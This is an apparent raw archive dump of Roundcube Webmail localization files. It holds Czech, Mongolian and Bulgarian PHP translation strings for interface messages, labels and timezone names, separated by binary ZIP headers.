$messages['addresswriterror'] = 'Vybraný seznam kontaktů není zapisovatelný.';
$messages['contactaddedtogroup'] = 'Kontakty byly přidány do této skupiny.';
$messages['contactremovedfromgroup'] = 'Kontakty byly odstraněny z této skupiny.';
$messages['nogroupassignmentschanged'] = 'Nebylo změněno přiřazení do skupin.';
$messages['importwait'] = 'Importuji, prosím čekejte...';
$messages['importformaterror'] = 'Import se nezdařil! Typ souboru není podporován.';
$messages['importconfirm'] = 'Úspěšně naimportováno $inserted kontaktů, $skipped existujících záznamů přeskočeno: $names';
$messages['importconfirmskipped'] = '<b>Přeskočeno $skipped existujících položek</b>';
$messages['importmessagesuccess'] = 'Naimportováno $nr zpráv';
$messages['importmessageerror'] = 'Import se nezdařil! Nahraný soubor není platnou zprávou nebo souborem mailboxu';
$messages['opnotpermitted'] = 'Operace není povolena!';
$messages['nofromaddress'] = 'Chybějící e-mailová adresa v označeném profilu.';
$messages['editorwarning'] = 'Přepnutím režimu editoru ztratíte veškeré formátování. Chcete pokračovat?';
$messages['httpreceivedencrypterror'] = 'Vyskytla se vážná chyba v konfiguraci. Kontaktujte neprodleně administátora. Vaše zpráva nemohla být odeslána.';
$messages['smtpconnerror'] = 'Chyba SMTP ($code): Připojení k serveru selhalo.';
$messages['smtpautherror'] = 'Chyba SMTP ($code): Chyba přihlášení.';
$messages['smtpfromerror'] = 'Chyba SMTP ($code): Nelze nastavit odesílatele "$from" ($msg).';
$messages['smtptoerror'] = 'Chyba SMTP ($code): Nelze přidat příjemce "$to" ($msg).';
$messages['smtprecipientserror'] = 'Chyba SMTP: Nelze zpracovat seznam příjemců.';
$messages['smtputf8error'] = 'Chyba SMTP: Unicode v e-mailové adrese není podporován na serveru.';
$messages['smtpsizeerror'] = 'Chyba SMTP: Zpráva překročila limit serveru ($limit)';
$messages['smtperror'] = 'Chyba SMTP: $msg';
$messages['emailformaterror'] = 'Neplatná e-mailová adresa: $email';
$messages['toomanyrecipients'] = 'Příliš mnoho příjemců. Změňte počet příjemců na $max.';
$messages['maxgroupmembersreached'] = 'Počet členských skupin dosáhl maximum z $max';
$messages['internalerror'] = 'Došlo k interní chybě. Zkuste to prosím znovu.';
$messages['contactdelerror'] = 'Kontakty nelze odstranit.';
$messages['contactdeleted'] = 'Kontakty byly odstraněny.';
$messages['contactrestoreerror'] = 'Nelze obnovit smazané kontakty.';
$messages['contactrestored'] = 'Kontakty byly obnoveny.';
$messages['groupdeleted'] = 'Skupina byla odstraněna.';
$messages['grouprenamed'] = 'Skupina byla přejmenována.';
$messages['groupcreated'] = 'Skupina byla vytvořena.';
$messages['savedsearchdeleted'] = 'Uložené hledání bylo ostraněno.';
$messages['savedsearchdeleteerror'] = 'Nelze odstranit uložené hledání.';
$messages['savedsearchcreated'] = 'Nové hledání bylo vytvořeno.';
$messages['savedsearchcreateerror'] = 'Nelze vytvořit uložené hledání.';
$messages['messagedeleted'] = 'Zpráva byla odstraněna.';
$messages['messagemoved'] = 'Zpráva byla přesunuta.';
$messages['messagemovedtotrash'] = 'Zpráva byla přesunuta do koše.';
$messages['messagecopied'] = 'Zpráva byla zkopirována.';
$messages['messagemarked'] = 'Zpráva označena.';
$messages['autocompletechars'] = 'Napište alespoň $min znaků pro automatické doplnění.';
$messages['autocompletemore'] = 'Napište více znaků. Nalezeno příliš mnoho položek.';
$messages['namecannotbeempty'] = 'Jméno musí být vyplněno.';
$messages['nametoolong'] = 'Jméno je příliš dlouhé.';
$messages['namedotforbidden'] = 'Jméno složky nemůže začínat tečkou.';
$messages['folderupdated'] = 'Složka byla aktualizována.';
$messages['foldercreated'] = 'Složka byla vytvořena.';
$messages['invalidimageformat'] = 'Formát obrázku není podporován.';
$messages['mispellingsfound'] = 'Ve zprávě byly zjištěny pravopisné chyby.';
$messages['parentnotwritable'] = 'Nelze vytvořit/přesunout složku do vybrané rodičovské složky. Nemáte práva.';
$messages['messagetoobig'] = 'Část zprávy je příliš velká pro zpracování.';
$messages['attachmentvalidationerror'] = 'Tato příloha je podezřelá, protože její typ se neshoduje s typem uvedeným ve zprávě. Pokud nedůvěřujete odesílateli, neměli byste přílohu otevírat v prohlížeči, protože může obsahovat škodlivý obsah.<br/><br/><em>Očekáváno: $expected; nalezeno: $detected</em>';
$messages['noscriptwarning'] = 'Upozornění: Tato emailová aplikace vyžaduje Javascript! Prosím, zapněte Javascript v nastavení prohlížeče.';
$messages['messageissent'] = 'Zpráva již byla odeslána, ovšem ještě nebyla uložena. Přejete si ji uložit nyní?';
$messages['errnotfound'] = 'Soubor nebyl nalezen';
$messages['errnotfoundexplain'] = 'Požadovaný objekt nebyl nalezen!';
$messages['errfailedrequest'] = 'Požadavek zamítnut';
$messages['errauthorizationfailed'] = 'Autorizace selhala';
$messages['errunauthorizedexplain'] = 'Nemohu ověřit, zda máte právo přistupovat k této službě!';
$messages['errrequestcheckfailed'] = 'Stav Vašeho požadavku není možné ověřit.';
$messages['errcsrfprotectionexplain'] = "Pro ochranu Vašeho účtu je přístup do této sekce dočasně zablokován.  Existuje důvodné podezření, že Váš účet byl napaden.\nPokud vidíte toto upozornění, nejspíše jste se neodhlásili před opuštěním této stránky.\n\nAbyste mohli pokračovat, je nutné kontaktovat pověřenou osobu.";
$messages['errcontactserveradmin'] = 'Prosím, kontaktujte správce serveru.';
$messages['clicktoresumesession'] = 'Klikněte sem pro obnovu Vašeho předchozího sezení.';
$messages['errcomposesession'] = 'Chybná relace pro vytvoření zprávy';
$messages['errcomposesessionexplain'] = 'Požadovaná relace pro vytvoření zprávy nebyla nalezena.';
$messages['clicktocompose'] = 'Klikněte sem pro vytvoření nové zprávy';
$messages['nosupporterror'] = 'Tato funkcionalita není vaším prohlížečem podporována.';
$messages['siginserted'] = 'Podpis byl vložen.';
$messages['responseinserted'] = 'Odpověď byla vložena.';
$messages['noresponsesavailable'] = 'Žádné odpovědi nejsou k dispozici';
$messages['listempty'] = 'Seznam je prázdný.';
$messages['listusebutton'] = 'Použijte tlačítko "Vytvořit" pro přidání nového záznamu.';
$messages['keypaircreatesuccess'] = 'Pro $identity byl vytvořen nový pár klíčů.';
$messages['emptyattachment'] = 'Příloha je prázdná.<br>Zkontrolujte její stav s odesílatelem.';
$messages['oauthloginfailed'] = 'Přihlášení přes OAuth selhalo. Prosím, zkuste to znovu';
PK
h�\0��

%program/localization/mn_MN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product вэб майлд тавтай морилно уу';
$labels['username'] = 'Хэрэглэгчийн нэр';
$labels['password'] = 'Нууц үг';
$labels['server'] = 'Сервер';
$labels['login'] = 'Нэвтрэх';
$labels['logout'] = 'Гарах';
$labels['mail'] = 'Захиа';
$labels['settings'] = 'Тохиргоо';
$labels['addressbook'] = 'Хаягийн дэвтэр';
$labels['inbox'] = 'Ирэх хайрцаг';
$labels['drafts'] = 'Ноорог';
$labels['sent'] = 'Илгээсэн';
$labels['trash'] = 'Хогийн сав';
$labels['junk'] = 'Спам';
$labels['show_real_foldernames'] = 'Тусгай хавтасны жинхэнэ нэрийг харуулна';
$labels['subject'] = 'Гарчиг';
$labels['from'] = 'Хэнээс';
$labels['sender'] = 'Илгээгч';
$labels['to'] = 'Хэнд';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Хариулах-Хэнд: ';
$labels['date'] = 'Огноо';
$labels['size'] = 'Хэмжээ';
$labels['priority'] = 'Ээлж';
$labels['organization'] = 'Байгууллага';
$labels['readstatus'] = 'Уншсан төлөв';
$labels['listoptions'] = 'Жагсаалтын тохиргоо...';
$labels['mailboxlist'] = 'Хавтас';
$labels['messagesfromto'] = 'Нийт $count захианы from-с $to';
$labels['showattachment'] = 'Харах';
$labels['deletemessage'] = 'Захиа устгах';
$labels['isread'] = 'Унших';
$labels['unknown'] = 'мэдэгдэхгүй';
$labels['other'] = 'Бусад';
$labels['typeother'] = 'Бусад';
$labels['delete'] = 'Устгах';
$labels['about'] = 'Танилцуулга';
$labels['allmessages'] = 'бүх зурвас';
$labels['folders'] = 'Хавтас';
$labels['license'] = 'Лиценз';
PK
h�\�u(}=
=
'program/localization/mn_MN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Алдаа гарлаа!';
$messages['loginfailed']  = 'Нэвтрэлт амжилтгүй.';
$messages['cookiesdisabled'] = 'Таны вэб хөтөч күүкүү зөвшөөрөхгүй байна.';
$messages['sessionerror'] = 'Та нэвтрээгүй буюу эсвэл автоматаар гарсан байна.';
$messages['storageerror'] = 'Хадгалах серверт холбогдоход алдаа гарлаа.';
$messages['servererror'] = 'Серверийн алдаа!';
$messages['servererrormsg'] = 'Серверийн Алдаа: $msg';
$messages['connerror'] = 'Холболтын Алдаа (Серверт холбогдож чадсангүй)!';
$messages['dberror'] = 'Мэдээллийн баазын Алдаа!';
$messages['windowopenerror'] = 'Попап цонх зөвшөөрөгдөөгүй!';
$messages['requesttimedout'] = 'Хүсэлтийн хугацаа дууссан';
$messages['errorreadonly'] = 'Үйлдлийг хийж чадахгүй байна. Зөвхөн унших хавтас.';
$messages['errornoperm'] = 'Үйлдлийг хийж чадахгүй байна. Хандалт зөвшөөрөгдөөгүй.';
$messages['erroroverquota'] = 'Үйлдлийг хийж чадахгүй байна. Диск дүүрсэн.';
$messages['erroroverquotadelete'] = 'Диск дүүрсэн. Захиа устгахдаа SHIFT+DEL ашиглана.';
$messages['invalidrequest'] = 'Алдаатай хүсэлт! Мэдээлэл хадгалагдаагүй.';
$messages['invalidhost'] = 'Серверийн нэр буруу.';
$messages['nomessagesfound'] = 'Захианы хавтсанд захиа байхгүй байна.';
$messages['mailboxempty'] = 'Захианы хавтас хоосон байна';
$messages['nomessages'] = 'Захиа байхгүй байна';
$messages['refreshing'] = 'Шинэчилж байна...';
$messages['loading'] = 'Боловсруулж байна...';
$messages['uploading'] = 'Файлыг хуулж байна...';
$messages['uploadingmany'] = 'Файлууд хуулж байна...';
$messages['loadingdata'] = 'Мэдээллийг боловсруулж байна...';
$messages['checkingmail'] = 'Шинэ захиа шалгаж байна...';
$messages['sendingmessage'] = 'Илгээж байна...';
$messages['messagesent'] = 'Захиа амжилттай илгээгдлээ.';
$messages['savingmessage'] = 'Захиа хадгалж байна...';
$messages['messagesaved'] = 'Захиа Ноороглож хадгалагдсан';
PK
h�\�:��Z�Z(program/localization/bg_BG/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Африка';
$labels['tz:africa:abidjan'] = 'Абиджан';
$labels['tz:africa:accra'] = 'Акра';
$labels['tz:africa:addis_ababa'] = 'Адис Абеба';
$labels['tz:africa:algiers'] = 'Алжир';
$labels['tz:africa:asmara'] = 'Асмара';
$labels['tz:africa:bamako'] = 'Бамако';
$labels['tz:africa:bangui'] = 'Бангуи';
$labels['tz:africa:banjul'] = 'Банджул';
$labels['tz:africa:bissau'] = 'Бисау';
$labels['tz:africa:blantyre'] = 'Блантайър';
$labels['tz:africa:brazzaville'] = 'Бразавил';
$labels['tz:africa:bujumbura'] = 'Бужумбура';
$labels['tz:africa:cairo'] = 'Кайро';
$labels['tz:africa:casablanca'] = 'Казабланка';
$labels['tz:africa:ceuta'] = 'Сеута';
$labels['tz:africa:conakry'] = 'Конакри';
$labels['tz:africa:dakar'] = 'Дакар';
$labels['tz:africa:dar_es_salaam'] = 'Дар ес Салаам';
$labels['tz:africa:djibouti'] = 'Джибути';
$labels['tz:africa:douala'] = 'Дуала';
$labels['tz:africa:el_aaiun'] = 'Ел-Аюн';
$labels['tz:africa:freetown'] = 'Фрийтаун';
$labels['tz:africa:gaborone'] = 'Габороне';
$labels['tz:africa:harare'] = 'Хараре';
$labels['tz:africa:johannesburg'] = 'Йоханесбург';
$labels['tz:africa:juba'] = 'Джуба';
$labels['tz:africa:kampala'] = 'Кампала';
$labels['tz:africa:khartoum'] = 'Хартум';
$labels['tz:africa:kigali'] = 'Кигали';
$labels['tz:africa:kinshasa'] = 'Киншаса';
$labels['tz:africa:lagos'] = 'Лагос';
$labels['tz:africa:libreville'] = 'Либревил';
$labels['tz:africa:lome'] = 'Ломе';
$labels['tz:africa:luanda'] = 'Луанда';
$labels['tz:africa:lubumbashi'] = 'Лубумбаши';
$labels['tz:africa:lusaka'] = 'Лусака';
$labels['tz:africa:malabo'] = 'Малабо';
$labels['tz:africa:maputo'] = 'Мапуто';
$labels['tz:africa:maseru'] = 'Масеру';
$labels['tz:africa:mbabane'] = 'Мбабане';
$labels['tz:africa:mogadishu'] = 'Могадишу';
$labels['tz:africa:monrovia'] = 'Монровия';
$labels['tz:africa:nairobi'] = 'Найроби';
$labels['tz:africa:ndjamena'] = 'Нджамена';
$labels['tz:africa:niamey'] = 'Ниамей';
$labels['tz:africa:nouakchott'] = 'Нуакшот';
$labels['tz:africa:ouagadougou'] = 'Уагадугу';
$labels['tz:africa:porto-novo'] = 'Порто-Ново';
$labels['tz:africa:sao_tome'] = 'Сао Томе';
$labels['tz:africa:tripoli'] = 'Триполи';
$labels['tz:africa:tunis'] = 'Тунис';
$labels['tz:africa:windhoek'] = 'Уиндхоек';
$labels['tz:america'] = 'Америка';
$labels['tz:america:adak'] = 'Адак';
$labels['tz:america:anchorage'] = 'Анкъридж';
$labels['tz:america:anguilla'] = 'Ангуила';
$labels['tz:america:antigua'] = 'Антигуа';
$labels['tz:america:araguaina'] = 'Арагуаина';
$labels['tz:america:argentina'] = 'Аржентина';
$labels['tz:america:argentina:buenos_aires'] = 'Буенос Айрес';
$labels['tz:america:argentina:catamarca'] = 'Катамарка';
$labels['tz:america:argentina:cordoba'] = 'Кордоба';
$labels['tz:america:argentina:jujuy'] = 'Жужуи';
$labels['tz:america:argentina:la_rioja'] = 'Ла Риоха';
$labels['tz:america:argentina:mendoza'] = 'Мендоса';
$labels['tz:america:argentina:rio_gallegos'] = 'Рио Галегос';
$labels['tz:america:argentina:salta'] = 'Салта';
$labels['tz:america:argentina:san_juan'] = 'Сан Хуан';
$labels['tz:america:argentina:san_luis'] = 'Сан Луис';
$labels['tz:america:argentina:tucuman'] = 'Тукуман';
$labels['tz:america:argentina:ushuaia'] = 'Ушуая';
$labels['tz:america:aruba'] = 'Аруба';
$labels['tz:america:asuncion'] = 'Асунсион';
$labels['tz:america:atikokan'] = 'Атикокан';
$labels['tz:america:bahia'] = 'Баия';
$labels['tz:america:bahia_banderas'] = 'Бандерасски залив';
$labels['tz:america:barbados'] = 'Барбадос';
$labels['tz:america:belem'] = 'Белем';
$labels['tz:america:belize'] = 'Белиз';
$labels['tz:america:blanc-sablon'] = 'Блан-Саблон';
$labels['tz:america:boa_vista'] = 'Боа Виста';
$labels['tz:america:bogota'] = 'Богота';
$labels['tz:america:boise'] = 'Бойс';
$labels['tz:america:cambridge_bay'] = 'Кеймбридж Бей';
$labels['tz:america:campo_grande'] = 'Кампо Гранде';
$labels['tz:america:cancun'] = 'Канкун';
$labels['tz:america:caracas'] = 'Каракас';
$labels['tz:america:cayenne'] = 'Кайен';
$labels['tz:america:cayman'] = 'Кайман';
$labels['tz:america:chicago'] = 'Чикаго';
$labels['tz:america:chihuahua'] = 'Чиуауа';
$labels['tz:america:costa_rica'] = 'Коста Рика';
$labels['tz:america:creston'] = 'Крестън';
$labels['tz:america:cuiaba'] = 'Куяба';
$labels['tz:america:curacao'] = 'Кюрасао';
$labels['tz:america:danmarkshavn'] = 'Данмаркшавн';
$labels['tz:america:dawson'] = 'Доусън';
$labels['tz:america:dawson_creek'] = 'Доусън Крийк';
$labels['tz:america:denver'] = 'Денвър';
$labels['tz:america:detroit'] = 'Детройт';
$labels['tz:america:dominica'] = 'Доминика';
$labels['tz:america:edmonton'] = 'Едмънтън';
$labels['tz:america:eirunepe'] = 'Ейрунепе';
$labels['tz:america:el_salvador'] = 'Ел Салвадор';
$labels['tz:america:fort_nelson'] = 'Форт Нелсън';
$labels['tz:america:fortaleza'] = 'Форталеза';
$labels['tz:america:glace_bay'] = 'Глейс Бей';
$labels['tz:america:godthab'] = 'Готхоб';
$labels['tz:america:goose_bay'] = 'Гус Бей';
$labels['tz:america:grand_turk'] = 'Гранд Търк';
$labels['tz:america:grenada'] = 'Гренада';
$labels['tz:america:guadeloupe'] = 'Гваделупа';
$labels['tz:america:guatemala'] = 'Гватемала';
$labels['tz:america:guayaquil'] = 'Гуаякил';
$labels['tz:america:guyana'] = 'Гвиана';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Хавана';
$labels['tz:america:hermosillo'] = 'Ермосильо';
$labels['tz:america:indiana'] = 'Индиана';
$labels['tz:america:indiana:indianapolis'] = 'Индианаполис';
$labels['tz:america:indiana:knox'] = 'Нокс';
$labels['tz:america:indiana:marengo'] = 'Маренго';
$labels['tz:america:indiana:petersburg'] = 'Петърбург';
$labels['tz:america:indiana:tell_city'] = 'Тел Сити';
$labels['tz:america:indiana:vevay'] = 'Вевай';
$labels['tz:america:indiana:vincennes'] = 'Венсен';
$labels['tz:america:indiana:winamac'] = 'Уинамак';
$labels['tz:america:inuvik'] = 'Инувик';
$labels['tz:america:iqaluit'] = 'Икалуит';
$labels['tz:america:jamaica'] = 'Ямайка';
$labels['tz:america:juneau'] = 'Джуно';
$labels['tz:america:kentucky'] = 'Кентъки';
$labels['tz:america:kentucky:louisville'] = 'Луисвил';
$labels['tz:america:kentucky:monticello'] = 'Монтичело';
$labels['tz:america:kralendijk'] = 'Кралендайк';
$labels['tz:america:la_paz'] = 'Ла Пас';
$labels['tz:america:lima'] = 'Лима';
$labels['tz:america:los_angeles'] = 'Лос Анжелис';
$labels['tz:america:lower_princes'] = 'Лоуър Принцес';
$labels['tz:america:maceio'] = 'Масейо';
$labels['tz:america:managua'] = 'Манагуа';
$labels['tz:america:manaus'] = 'Манауш';
$labels['tz:america:marigot'] = 'Мариго';
$labels['tz:america:martinique'] = 'Мартиника';
$labels['tz:america:matamoros'] = 'Матаморос';
$labels['tz:america:mazatlan'] = 'Масатлан';
$labels['tz:america:menominee'] = 'Мъномъний';
$labels['tz:america:merida'] = 'Мерида';
$labels['tz:america:metlakatla'] = 'Метлакатла';
$labels['tz:america:mexico_city'] = 'Мексико сити';
$labels['tz:america:miquelon'] = 'Микелон';
$labels['tz:america:moncton'] = 'Монктон';
$labels['tz:america:monterrey'] = 'Монтерей';
$labels['tz:america:montevideo'] = 'Монтевидео';
$labels['tz:america:montserrat'] = 'Монсерат';
$labels['tz:america:nassau'] = 'Насау';
$labels['tz:america:new_york'] = 'Ню Йорк';
$labels['tz:america:nipigon'] = 'Нипигон';
$labels['tz:america:nome'] = 'Ноум';
$labels['tz:america:noronha'] = 'Нороня';
$labels['tz:america:north_dakota'] = 'Северна Дакота';
$labels['tz:america:north_dakota:beulah'] = 'Бюла';
$labels['tz:america:north_dakota:center'] = 'Център';
$labels['tz:america:north_dakota:new_salem'] = 'Ню Салем';
$labels['tz:america:ojinaga'] = 'Охинага';
$labels['tz:america:panama'] = 'Панама';
$labels['tz:america:pangnirtung'] = 'Пангниртунг ';
$labels['tz:america:paramaribo'] = 'Парамарибо';
$labels['tz:america:phoenix'] = 'Финикс';
$labels['tz:america:port-au-prince'] = 'Порт о Пренс';
$labels['tz:america:port_of_spain'] = 'Порт оф Спейн';
$labels['tz:america:porto_velho'] = 'Порто Вельо';
$labels['tz:america:puerto_rico'] = 'Пуерто Рико';
$labels['tz:america:rainy_river'] = 'Рейни Ривър';
$labels['tz:america:rankin_inlet'] = 'Ранкин инлет';
$labels['tz:america:recife'] = 'Ресифи';
$labels['tz:america:regina'] = 'Риджайна';
$labels['tz:america:resolute'] = 'Резолют';
$labels['tz:america:rio_branco'] = 'Рио Бранко';
$labels['tz:america:santarem'] = 'Сантарем';
$labels['tz:america:santiago'] = 'Сантяго';
$labels['tz:america:santo_domingo'] = 'Санто Доминго';
$labels['tz:america:sao_paulo'] = 'Сао Пауло';
$labels['tz:america:scoresbysund'] = 'Скоресбисанд';
$labels['tz:america:sitka'] = 'Ситка';
$labels['tz:america:st_barthelemy'] = 'Сен Бартелми';
$labels['tz:america:st_johns'] = "Сейнт Джонс";
$labels['tz:america:st_kitts'] = 'Сейнт Китс';
$labels['tz:america:st_lucia'] = 'Сейнт Лусия';
$labels['tz:america:st_thomas'] = 'Сейнт Томас';
$labels['tz:america:st_vincent'] = 'Сейнт Винсент';
$labels['tz:america:swift_current'] = 'Суифт Кърент';
$labels['tz:america:tegucigalpa'] = 'Тегусигалпа';
$labels['tz:america:thule'] = 'Туле';
$labels['tz:america:thunder_bay'] = 'Тъндър Бей';
$labels['tz:america:tijuana'] = 'Тихуана';
$labels['tz:america:toronto'] = 'Торонто';
$labels['tz:america:tortola'] = 'Тортола';
$labels['tz:america:vancouver'] = 'Ванкувър';
$labels['tz:america:whitehorse'] = 'Уайтхорс';
$labels['tz:america:winnipeg'] = 'Уинипег';
$labels['tz:america:yakutat'] = 'Якутат';
$labels['tz:america:yellowknife'] = 'Йелоунайф';
$labels['tz:antarctica'] = 'Антарктида';
$labels['tz:antarctica:casey'] = 'Кейси';
$labels['tz:antarctica:davis'] = 'Дейвис';
$labels['tz:antarctica:dumontdurville'] = "Дюмон Дюрвил";
$labels['tz:antarctica:macquarie'] = 'Макуори';
$labels['tz:antarctica:mawson'] = 'Моусън';
$labels['tz:antarctica:mcmurdo'] = 'Макмурдо';
$labels['tz:antarctica:palmer'] = 'Палмър';
$labels['tz:antarctica:rothera'] = 'Ротера';
$labels['tz:antarctica:syowa'] = 'Сиова';
$labels['tz:antarctica:troll'] = 'Tрол';
$labels['tz:antarctica:vostok'] = 'Восток';
$labels['tz:arctic'] = 'Арктика';
$labels['tz:arctic:longyearbyen'] = 'Лонгиърбиен';
$labels['tz:asia'] = 'Азия';
$labels['tz:asia:aden'] = 'Аден';
$labels['tz:asia:almaty'] = 'Алмати';
$labels['tz:asia:amman'] = 'Аман';
$labels['tz:asia:anadyr'] = 'Анадир';
$labels['tz:asia:aqtau'] = 'Актау';
$labels['tz:asia:aqtobe'] = 'Актобе';
$labels['tz:asia:ashgabat'] = 'Ашхабад';
$labels['tz:asia:atyrau'] = 'Атърау';
$labels['tz:asia:baghdad'] = 'Багдад';
$labels['tz:asia:bahrain'] = 'Бахрейн';
$labels['tz:asia:baku'] = 'Баку';
$labels['tz:asia:bangkok'] = 'Банкок';
$labels['tz:asia:barnaul'] = 'Барнаул';
$labels['tz:asia:beirut'] = 'Бейрут';
$labels['tz:asia:bishkek'] = 'Бишкек';
$labels['tz:asia:brunei'] = 'Бруней';
$labels['tz:asia:chita'] = 'Чита';
$labels['tz:asia:choibalsan'] = 'Чойбалсан';
$labels['tz:asia:colombo'] = 'Коломбо';
$labels['tz:asia:damascus'] = 'Дамаск';
$labels['tz:asia:dhaka'] = 'Дака';
$labels['tz:asia:dili'] = 'Дили';
$labels['tz:asia:dubai'] = 'Дубай';
$labels['tz:asia:dushanbe'] = 'Душанбе';
$labels['tz:asia:famagusta'] = 'Фамагуста';
$labels['tz:asia:gaza'] = 'Газа';
$labels['tz:asia:hebron'] = 'Хеброн';
$labels['tz:asia:ho_chi_minh'] = 'Хо Ши Мин';
$labels['tz:asia:hong_kong'] = 'Хонг Конг';
$labels['tz:asia:hovd'] = 'Ховд';
$labels['tz:asia:irkutsk'] = 'Иркутск';
$labels['tz:asia:jakarta'] = 'Джакарта';
$labels['tz:asia:jayapura'] = 'Джаяпура';
$labels['tz:asia:jerusalem'] = 'Йерусалим';
$labels['tz:asia:kabul'] = 'Кабул';
$labels['tz:asia:kamchatka'] = 'Камчатка';
$labels['tz:asia:karachi'] = 'Карачи';
$labels['tz:asia:kathmandu'] = 'Катманду';
$labels['tz:asia:khandyga'] = 'Хандига';
$labels['tz:asia:kolkata'] = 'Колката';
$labels['tz:asia:krasnoyarsk'] = 'Красноярск';
$labels['tz:asia:kuala_lumpur'] = 'Куала Лумпур';
$labels['tz:asia:kuching'] = 'Кучинг';
$labels['tz:asia:kuwait'] = 'Кувейт';
$labels['tz:asia:macau'] = 'Макао';
$labels['tz:asia:magadan'] = 'Магадан';
$labels['tz:asia:makassar'] = 'Макасар';
$labels['tz:asia:manila'] = 'Манила';
$labels['tz:asia:muscat'] = 'Мускат';
$labels['tz:asia:nicosia'] = 'Никозия';
$labels['tz:asia:novokuznetsk'] = 'Новокузнецк';
$labels['tz:asia:novosibirsk'] = 'Новосибирск';
$labels['tz:asia:omsk'] = 'Омск';
$labels['tz:asia:oral'] = 'Уралск';
$labels['tz:asia:phnom_penh'] = 'Пном Пен';
$labels['tz:asia:pontianak'] = 'Понтианак';
$labels['tz:asia:pyongyang'] = 'Пхенян';
$labels['tz:asia:qatar'] = 'Катар';
$labels['tz:asia:qyzylorda'] = 'Къзълорда';
$labels['tz:asia:riyadh'] = 'Рияд';
$labels['tz:asia:sakhalin'] = 'Сахалин';
$labels['tz:asia:samarkand'] = 'Самарканд';
$labels['tz:asia:seoul'] = 'Сеул';
$labels['tz:asia:shanghai'] = 'Шанхай';
$labels['tz:asia:singapore'] = 'Сингапур';
$labels['tz:asia:srednekolymsk'] = 'Среднеколимск';
$labels['tz:asia:taipei'] = 'Тайпе';
$labels['tz:asia:tashkent'] = 'Ташкент';
$labels['tz:asia:tbilisi'] = 'Тбилиси';
$labels['tz:asia:tehran'] = 'Техеран';
$labels['tz:asia:thimphu'] = 'Тхимпху';
$labels['tz:asia:tokyo'] = 'Токио';
$labels['tz:asia:tomsk'] = 'Томск';
$labels['tz:asia:ulaanbaatar'] = 'Улан Батор';
$labels['tz:asia:urumqi'] = 'Урумчи';
$labels['tz:asia:ust-nera'] = 'Уст Нера';
$labels['tz:asia:vientiane'] = 'Виентян';
$labels['tz:asia:vladivostok'] = 'Владивосток';
$labels['tz:asia:yakutsk'] = 'Якутск';
$labels['tz:asia:yangon'] = 'Янгон';
$labels['tz:asia:yekaterinburg'] = 'Екатерининбург';
$labels['tz:asia:yerevan'] = 'Ереван';
$labels['tz:atlantic'] = 'Атлантическа';
$labels['tz:atlantic:azores'] = 'Азорски острови';
$labels['tz:atlantic:bermuda'] = 'Бермуда';
$labels['tz:atlantic:canary'] = 'Канарски острови';
$labels['tz:atlantic:cape_verde'] = 'Кабо Верде';
$labels['tz:atlantic:faroe'] = 'Фарьорски острови';
$labels['tz:atlantic:madeira'] = 'Мадейра';
$labels['tz:atlantic:reykjavik'] = 'Рейкявик';
$labels['tz:atlantic:south_georgia'] = 'Южна Джорджия';
$labels['tz:atlantic:st_helena'] = 'Света Елена';
$labels['tz:atlantic:stanley'] = 'Стенли ';
$labels['tz:australia'] = 'Австралия';
$labels['tz:australia:adelaide'] = 'Аделаида';
$labels['tz:australia:brisbane'] = 'Бризбейн';
$labels['tz:australia:broken_hill'] = 'Брокън Хил';
$labels['tz:australia:currie'] = 'Кури';
$labels['tz:australia:darwin'] = 'Дарвин';
$labels['tz:australia:eucla'] = 'Юкла';
$labels['tz:australia:hobart'] = 'Хоубарт';
$labels['tz:australia:lindeman'] = 'Остров Линдеман';
$labels['tz:australia:lord_howe'] = 'Остров Лорд Хау';
$labels['tz:australia:melbourne'] = 'Мелбърн';
$labels['tz:australia:perth'] = 'Пърт';
$labels['tz:australia:sydney'] = 'Сидни';
$labels['tz:europe'] = 'Европа';
$labels['tz:europe:amsterdam'] = 'Амстердам';
$labels['tz:europe:andorra'] = 'Андора';
$labels['tz:europe:astrakhan'] = 'Астрахан';
$labels['tz:europe:athens'] = 'Атина';
$labels['tz:europe:belgrade'] = 'Белград';
$labels['tz:europe:berlin'] = 'Берлин';
$labels['tz:europe:bratislava'] = 'Братислава';
$labels['tz:europe:brussels'] = 'Брюксел';
$labels['tz:europe:bucharest'] = 'Букурещ';
$labels['tz:europe:budapest'] = 'Будапеща';
$labels['tz:europe:busingen'] = 'Бюзинген';
$labels['tz:europe:chisinau'] = 'Кишинев';
$labels['tz:europe:copenhagen'] = 'Копенхаген';
$labels['tz:europe:dublin'] = 'Дъблин';
$labels['tz:europe:gibraltar'] = 'Гибралтар';
$labels['tz:europe:guernsey'] = 'Гърнзи';
$labels['tz:europe:helsinki'] = 'Хелзинки';
$labels['tz:europe:isle_of_man'] = 'Остров Ман';
$labels['tz:europe:istanbul'] = 'Истанбул';
$labels['tz:europe:jersey'] = 'Джърси';
$labels['tz:europe:kaliningrad'] = 'Калининград';
$labels['tz:europe:kiev'] = 'Киев';
$labels['tz:europe:kirov'] = 'Киров';
$labels['tz:europe:lisbon'] = 'Лисабон';
$labels['tz:europe:ljubljana'] = 'Любляна';
$labels['tz:europe:london'] = 'Лондон';
